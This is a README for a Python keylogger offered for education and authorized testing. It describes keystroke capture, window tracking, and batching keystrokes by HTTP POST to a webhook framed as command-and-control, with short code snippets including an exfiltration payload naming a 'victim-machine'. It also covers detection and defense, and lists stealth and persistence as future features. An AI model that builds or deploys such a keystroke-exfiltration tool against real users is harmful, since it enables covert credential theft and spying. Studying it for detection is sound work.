# Educational Keylogger A Keylogger built with modern Python 3.13+ for educational purposes, security research, and authorized penetration testing. ## Legal Disclaimer **IMPORTANT**: This software is provided for educational and research purposes only. Unauthorized use of keyloggers is illegal and unethical. - **Legal uses**: Personal learning, authorized penetration testing, security research on your own systems - **Illegal uses**: Monitoring others without consent, corporate espionage, stalking, identity theft **By using this software, you agree to use it only on systems you own or have explicit written permission to monitor.** --- ## Features ### Core Functionality - **Keyboard Event Capture**: Real time logging of all keyboard events using `pynput` - **Timestamped Logs**: Every keystroke recorded with microsecond precision - **Active Window Tracking**: Captures which application was active during each keystroke - **Special Key Detection**: Logs function keys, modifiers (Ctrl, Alt, Shift), and control characters ### Advanced Features - **Log Rotation**: Automatic file rotation when logs exceed configurable size (default: 5MB) - **Toggle Control**: Press F9 to pause/resume logging without stopping the process - **Remote Delivery**: Webhook based batch delivery for C2 (Command & Control) simulation - **Cross-Platform**: Works on Windows, macOS, and Linux with platform specific optimizations ### Code Quality - **Modern Python 3.13+**: Uses latest syntax (native type hints, `match` statements, dataclasses) - **Type Safety**: Full type hints throughout codebase - **Thread-Safe**: Lock based synchronization for concurrent operations - **Clean Architecture**: Separation of concerns with dedicated classes for logging, delivery, tracking - **Graceful Shutdown**: Proper cleanup and buffer flushing on exit --- ## Installation ### Prerequisites - Python 3.13 or higher - pip package manager ### Quick Start (Recommended - Using Makefile) ```bash cd keylogger/ # Create virtual environment and install everything make setup # Run tests to verify installation make test # Run linting checks make lint ``` ### Manual Installation **Option 1: Install from pyproject.toml (Recommended)** ```bash # Create virtual environment python -m venv venv # Activate virtual environment source venv/bin/activate # Linux/macOS # or venv\Scripts\activate # Windows # Install main dependencies pip install -e . # Or install with dev tools (linters, formatters, type checkers) pip install -e ".[dev]" ``` **Option 2: Install from requirements.txt** ```bash pip install -r requirements.txt ``` ### Platform-Specific Dependencies **Windows** (for enhanced window tracking): ```bash pip install -e ".[windows]" # or manually: pip install pywin32==311 psutil==7.1.3 ``` **macOS** (for window tracking): ```bash pip install -e ".[macos]" # or manually: pip install pyobjc-framework-Cocoa==12.0 ``` **Linux** (requires xdotool): ```bash sudo apt-get install xdotool # Debian/Ubuntu # or sudo yum install xdotool # RHEL/CentOS ``` --- ## Usage ### Basic Usage ```bash python keylogger.py ``` ### Configuration Edit the `main()` function in `keylogger.py` to customize behavior: ```python config = KeyloggerConfig( log_dir=Path.home() / ".keylogger_logs", # Where to save logs max_log_size_mb=5.0, # Max size before rotation webhook_url="https://your-webhook.com/log", # Optional remote delivery webhook_batch_size=50, # Events per batch toggle_key=Key.f9, # Key to pause/resume enable_window_tracking=True, # Track active windows log_special_keys=True # Log Ctrl, Alt, etc. ) ``` ### Controls - **F9**: Toggle logging on/off - **Ctrl+C**: Stop keylogger and exit ### Example Output ``` [2025-11-12 14:30:15] [chrome.exe - Google] Hello world [2025-11-12 14:30:18] [chrome.exe - Google] [ENTER] [2025-11-12 14:30:20] [notepad.exe - Untitled] This is a test[BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE] ``` --- ## Technical Architecture ### Class Structure ``` Keylogger (Main orchestrator) ├── KeyloggerConfig (Dataclass for configuration) ├── LogManager (File I/O and rotation) ├── WebhookDelivery (Remote C2 delivery) ├── WindowTracker (OS-specific window detection) └── KeyEvent (Dataclass for event storage) ``` ### How It Works #### 1. **Event Capture** (`pynput.keyboard.Listener`) The keylogger uses `pynput`'s event driven model to hook into keyboard events at the OS level: ```python self.listener = keyboard.Listener(on_press=self._on_press) ``` When a key is pressed, the OS notifies `pynput`, which calls our `_on_press()` callback. #### 2. **Key Processing** Raw key events are converted to human readable strings: - **Regular characters**: `'a'`, `'B'`, `'1'`, `'@'` - **Special keys**: `[SPACE]`, `[ENTER]`, `[BACKSPACE]` - **Modifiers**: `[CTRL]`, `[ALT]`, `[SHIFT]` #### 3. **Window Context** Platform specific APIs capture the active window: - **Windows**: `win32gui.GetForegroundWindow()` + `psutil` - **macOS**: `NSWorkspace.sharedWorkspace().activeApplication()` - **Linux**: `xdotool getactivewindow getwindowname` Window checks are rate-limited (500ms intervals) to reduce overhead. #### 4. **Log Management** Logs are written to disk with automatic rotation: ```python def _check_rotation(self) -> None: current_size_mb = self.current_log_path.stat().st_size / (1024 * 1024) if current_size_mb >= self.config.max_log_size_mb: # Create new log file and close old one ``` Thread-safe writes using `threading.Lock` ensure data integrity. #### 5. **Remote Delivery** Events are batched and delivered via HTTP POST: ```python payload = { "timestamp": "2025-11-12T14:30:15", "host": "victim-machine", "events": [ {"timestamp": "...", "key": "a", "window_title": "chrome.exe"}, ... ] } requests.post(webhook_url, json=payload) ``` This simulates real world C2 communication used in APT (Advanced Persistent Threat) campaigns. --- ## Detection Methods ### How to Detect Keyloggers #### 1. **Process Monitoring** Look for suspicious Python processes: ```bash # Linux/macOS ps aux | grep python # Windows tasklist | findstr python ``` #### 2. **Network Traffic Analysis** Monitor outbound HTTP requests: ```bash # Use Wireshark to inspect POST requests # Look for JSON payloads with keyboard data ``` #### 3. **File System Monitoring** Check for new log directories: ```bash # This keylogger creates logs in: ls -la ~/.keylogger_logs/ ``` #### 4. **Behavioral Analysis** - High CPU usage from Python processes - Unusual network connections to unknown endpoints - Hidden console windows (Windows) #### 5. **Anti-Virus / EDR** Modern EDR (Endpoint Detection and Response) solutions detect: - `pynput` library usage patterns - Keyboard hook installation - Unusual file I/O patterns --- ## Defense Strategies ### For Users 1. **Use Anti Keylogger Software** - Zemana AntiLogger - SpyShelter - Malwarebytes 2. **Enable System Integrity Protection** - Windows: Enable Secure Boot and BitLocker - macOS: Keep SIP enabled - Linux: Use AppArmor or SELinux 3. **Monitor Startup Items** ```bash # Windows: Check Task Scheduler and Startup folder # Linux: Check ~/.config/autostart/ # macOS: Check System Preferences > Users > Login Items ``` 4. **Use Virtual Keyboards** - For sensitive passwords, use on-screen keyboards - Many banking sites provide virtual keypads ### For Organizations 1. **Application Whitelisting**: Only allow approved executables 2. **Network Segmentation**: Detect unusual outbound traffic 3. **Regular Audits**: Scan for unauthorized software 4. **User Training**: Educate about phishing and social engineering 5. **Privileged Access Management**: Limit admin rights to prevent installation --- ## Testing & Validation ### Running Tests Verify all components work correctly: ```bash # Using Makefile make test # Or run directly python test_keylogger.py ``` The test suite validates: - KeyType enum functionality - KeyloggerConfig initialization - KeyEvent serialization - LogManager file operations and rotation - WindowTracker platform detection - WebhookDelivery buffering logic - Key processing functions ### Code Quality Checks Run all linting and type checking: ```bash # Using Makefile (recommended) make lint # Or run individually ruff check keylogger.py pylint keylogger.py mypy keylogger.py ``` ### Running in Safe Mode For learning purposes, test on an isolated VM: ```bash # Create a test VM (VirtualBox, VMware, etc.) # Install Python and run keylogger # Monitor logs in real-time tail -f ~/.keylogger_logs/keylog_*.txt ``` ### Webhook Testing Use a free webhook testing service: - [webhook.site](https://webhook.site) - Get instant webhook URL - [requestbin.com](https://requestbin.com) - Inspect HTTP requests Update `webhook_url` in config: ```python config = KeyloggerConfig( webhook_url="https://webhook.site/your-unique-id" ) ``` --- ## 📊 Code Highlights ### Modern Python 3.13+ Features **Native Type Hints** (no `typing` imports needed): ```python def to_dict(self) -> dict[str, str]: # Not Dict[str, str] return {"key": "value"} ``` **Union Types**: ```python def _on_press(self, key: Key | KeyCode) -> None: # Not Union[Key, KeyCode] ... ``` **Dataclasses** for clean data structures: ```python @dataclass class KeyEvent: timestamp: datetime key: str window_title: Optional[str] = None ``` **Context Managers** for resource management: ```python with self.lock: self.logger.info(event.to_log_string()) ``` **Pathlib** for cross-platform file operations: ```python self.config.log_dir / f"{self.config.log_file_prefix}_{timestamp}.txt" ``` --- ## Educational Use Cases ### 1. **Security Research** - Study how keyloggers bypass modern security software - Test EDR detection capabilities - Analyze C2 communication patterns ### 2. **Penetration Testing** - Post-exploitation credential harvesting simulation - Red team exercises (with authorization) - Social engineering awareness training ### 3. **Software Development** - Learn event-driven programming patterns - Practice multi-threaded application design - Understand OS-level API interactions ### 4. **Digital Forensics** - Understand how attackers collect data - Practice incident response procedures - Learn to identify keylogger artifacts --- ## Troubleshooting ### Common Issues **Import Error: pynput not found** ```bash pip install pynput ``` **Permission Denied (Linux/macOS)** ```bash # May need to run with sudo for keyboard access sudo python keylogger.py ``` **Window Tracking Not Working** - **Windows**: Install `pip install pywin32 psutil` - **macOS**: Grant accessibility permissions in System Preferences - **Linux**: Install xdotool via package manager **Webhook Delivery Failing** - Check internet connectivity - Verify webhook URL is correct - Test webhook with `curl`: ```bash curl -X POST https://your-webhook.com/log \ -H "Content-Type: application/json" \ -d '{"test": "data"}' ``` --- ## Project Structure ``` keylogger/ ├── keylogger.py # Main implementation (450+ lines) ├── test_keylogger.py # Test suite (validates all components) ├── requirements.txt # Python dependencies ├── pyproject.toml # Project config (deps, linting, type checking) ├── Makefile # Build automation (setup, test, lint) └── README.md # This file ``` --- ## Future Enhancements Potential features for advanced learning: - [ ] Clipboard monitoring - [ ] Screenshot capture on trigger words - [ ] Process memory dumping - [ ] Encrypted log storage - [ ] Stealth mode (hidden console, anti-debug) - [ ] Persistence mechanisms (Windows Registry, cron jobs) - [ ] Mouse click coordinate logging - [ ] Form field detection (highlight password fields) --- ## References & Further Reading ### Technical Documentation - [pynput documentation](https://pynput.readthedocs.io/) - [Python threading](https://docs.python.org/3/library/threading.html) - [Python dataclasses](https://docs.python.org/3/library/dataclasses.html) ### Security Research - [MITRE ATT&CK: Input Capture](https://attack.mitre.org/techniques/T1056/) - [OWASP: Keylogger Detection](https://owasp.org/www-community/attacks/Keylogger) - [Krebs on Security: Keylogger Case Studies](https://krebsonsecurity.com/) ### Academic Papers - "A Survey of Keylogger Technologies" (IEEE Security & Privacy) - "Detection of Keyloggers Using Machine Learning" (Journal of Cybersecurity) --- ## Author Built as part of the **60 Cybersecurity Projects** repository. **Purpose**: Educational demonstration of offensive security techniques and defensive countermeasures. --- ## License This project is provided for educational purposes only. Use responsibly and ethically. **NO WARRANTY**: This software is provided "as-is" without any warranties. The author is not responsible for any misuse or damage caused by this software. --- ## Acknowledgments - **pynput** maintainers for the excellent keyboard library - Security researchers who share knowledge about defensive measures - The cybersecurity community for promoting ethical hacking practices *CarterPerez-dev | 2025 | CertGames.com